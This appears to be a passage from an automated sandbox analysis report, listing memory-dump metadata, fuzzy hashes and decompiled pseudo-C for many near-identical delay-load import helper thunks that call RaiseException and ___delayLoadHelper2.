Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7019cfc1aba1bb35062f2102e38875566f9a2cff0ece6531b49f1054c1eec756
Instruction ID: 9e3360e26d2ddf76d92021759a02bf4035200c32e0291cb5fc69f7690a1900a7
Opcode Fuzzy Hash: 7019cfc1aba1bb35062f2102e38875566f9a2cff0ece6531b49f1054c1eec756
Instruction Fuzzy Hash: 1EB092A5698212AD268E62E97D01B3A1108C9D1911320C48AB804C1080D6C418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D73E, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D73E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151148); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c33754b81964a7260271a2c14d9dd45d96c627a2376be12d08f17fa86653f733
Instruction ID: 2ff2ac0d610151a26771fcf6a17dd7518e5667415d260ce84e3d17b3373f5170
Opcode Fuzzy Hash: c33754b81964a7260271a2c14d9dd45d96c627a2376be12d08f17fa86653f733
Instruction Fuzzy Hash: 41B092A1698212AD26CE62E97D01A3A1108C9D0911320818AB804C1080DAC418500133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D720, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D720() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151154); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cfa3411b8ce37f42ec86dbbc491c7f03b3fca878eab94b06dc36b6902d250108
Instruction ID: 665997505c74de518606906ab08e68dfe4498e00b61915bb61e3d685538dc7b1
Opcode Fuzzy Hash: cfa3411b8ce37f42ec86dbbc491c7f03b3fca878eab94b06dc36b6902d250108
Instruction Fuzzy Hash: F9B012E1658112FD35CE62E97E01F3E110CCDD0911335C08EF804C15C0E7C41C190133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D752, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D752() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151140); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94588e07e5d53eaf1bc25238a15d4f94f5125d1c0bd66edec92aaa681980862a
Instruction ID: 7f3a47a71b609615a73e7c7d734b03d135260768892e2864a17a1220a65a1fc2
Opcode Fuzzy Hash: 94588e07e5d53eaf1bc25238a15d4f94f5125d1c0bd66edec92aaa681980862a
Instruction Fuzzy Hash: 75B092A1698112AD358E62EA7D01A3A1108D9D0951320808AB804C1080D6C418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D75C, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D75C() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x115113c); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 85a4708433678c591207d3535c1714f13df0fed1f95d3a86bec09d28182eb419
Instruction ID: 322e123a0529b9cd499aafa67ea810daf2557c0e6ff7703490be5fb83d646647
Opcode Fuzzy Hash: 85a4708433678c591207d3535c1714f13df0fed1f95d3a86bec09d28182eb419
Instruction Fuzzy Hash: E5B092A5659112AD258E62E97D01B3A1108C9D1911330C48AB804C1080D68418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D748, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D748() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151144); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 055b4194c03df22784443855d8c3b827ef522d30463fcadbb8b4f663961e27f0
Instruction ID: 1e6711b90034e3cf632367dba52b36f0e02a71408b02d4566de3857df648f317
Opcode Fuzzy Hash: 055b4194c03df22784443855d8c3b827ef522d30463fcadbb8b4f663961e27f0
Instruction Fuzzy Hash: 12B092A1698112AD258E62E97E01A3A1108C9D0911320808AB804C1480E6C41D110133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D77A, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D77A() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151130); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fb47bfda3c5d15479612d5f4f6b54e4698453c0265a507b3b25836aa1c90cad3
Instruction ID: 95a06da874e50221429abd7a30250fba31dd9a2d2565c8e01246e8f58d5c7056
Opcode Fuzzy Hash: fb47bfda3c5d15479612d5f4f6b54e4698453c0265a507b3b25836aa1c90cad3
Instruction Fuzzy Hash: 1DB092A1669112AD398E62E97D01A3A1148DDD0951320808AB804C1080D68418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D766, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D766() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151138); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c5a9be1bd1b9d42e7a4271d5ba8760eed00332db0633cbda688c16a8bf700662
Instruction ID: 1025ff026a0ac0c167da4ce6b3e8f215c8b771a1c554447c3b3487b3e441d220
Opcode Fuzzy Hash: c5a9be1bd1b9d42e7a4271d5ba8760eed00332db0633cbda688c16a8bf700662
Instruction Fuzzy Hash: AFB092A1659212AD26CE62E97D01A3A1108C9D0911320828AB804C1080DA8418500133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D798, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D798() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151124); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ce6817f9538c0f52449d7214a94f05466d563dc9144c9b378060466fd64a0729
Instruction ID: d6035de4ad6e8b988fa049d0cca3593f889fef7ee33e4e3cd37617529535c726
Opcode Fuzzy Hash: ce6817f9538c0f52449d7214a94f05466d563dc9144c9b378060466fd64a0729
Instruction Fuzzy Hash: 8FB092E1658112AD258E62EA7E01A7A1188C9D0911320808AB814C1480D6841C110133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D784, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D784() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x115112c); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: da568c8ffb675415e497c44ff454024661a41acdf33dca5180abcd37a53edc89
Instruction ID: f4061a4f4d4fc1e85c462350ed637f27ac8616469d406152b8d680aa40751b53
Opcode Fuzzy Hash: da568c8ffb675415e497c44ff454024661a41acdf33dca5180abcd37a53edc89
Instruction Fuzzy Hash: 92B092E5658112AD258E62EA7D01B3A1148C9D1911320C48AB814C1080D78418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7CA, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D7CA() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151110); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1630226d2b8260126c66f442ab7f0db74264948b3864358eb87fd8efc9491486
Instruction ID: 5485af4dc5a78133311c40797a49455d77290d1c2f00763f1655a4a376c90768
Opcode Fuzzy Hash: 1630226d2b8260126c66f442ab7f0db74264948b3864358eb87fd8efc9491486
Instruction Fuzzy Hash: 55B092A1A98112AD358E62E97D02A3A1108D9D0951320848AB804C10C0D68418100133

Uniqueness

Uniqueness Score: -1.00%

Function 0110D6E7, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D6E7() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112ada4, 0x1151168); // executed
				goto __eax;
			}

0x0110d6f1
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 227b0fca0c476aad7bda241cf10e0f34ba842bea7d6b55e5a840eacdc9515f19
Instruction ID: fab1131b2766af543f630f5c0c6f24d26aede8756c404706a2a9126b68069720
Opcode Fuzzy Hash: 227b0fca0c476aad7bda241cf10e0f34ba842bea7d6b55e5a840eacdc9515f19
Instruction Fuzzy Hash: 49B092A5658312BD2A8E22E57D81A3A1108C9D0951320858AB800D0480DAC41C500033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D916, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D916() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fd0d7047a9944723bea43e8cbae9ff9f82c38668668aa157e3c59420311396f5
Instruction ID: 953d9774b25c61aa9ad9456093f6e3b5224f8c128baf12acfc84d1a18131a1f6
Opcode Fuzzy Hash: fd0d7047a9944723bea43e8cbae9ff9f82c38668668aa157e3c59420311396f5
Instruction Fuzzy Hash: B4A012E19580177C350D32D17C05E3E010DC8D0911320840DF001800C0E6C018000132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D93E, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D93E() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e313f4022e82964855b9b7e8a37cc01ec77fa674e0ab2d8daf42953728c11220
Instruction ID: 953d9774b25c61aa9ad9456093f6e3b5224f8c128baf12acfc84d1a18131a1f6
Opcode Fuzzy Hash: e313f4022e82964855b9b7e8a37cc01ec77fa674e0ab2d8daf42953728c11220
Instruction Fuzzy Hash: B4A012E19580177C350D32D17C05E3E010DC8D0911320840DF001800C0E6C018000132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D920, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D920() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1fa0fad3af85ad1167508517eeffb3081d44e0d9be5cc7eaa485f5926dc43772
Instruction ID: 953d9774b25c61aa9ad9456093f6e3b5224f8c128baf12acfc84d1a18131a1f6
Opcode Fuzzy Hash: 1fa0fad3af85ad1167508517eeffb3081d44e0d9be5cc7eaa485f5926dc43772
Instruction Fuzzy Hash: B4A012E19580177C350D32D17C05E3E010DC8D0911320840DF001800C0E6C018000132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D952, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D952() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
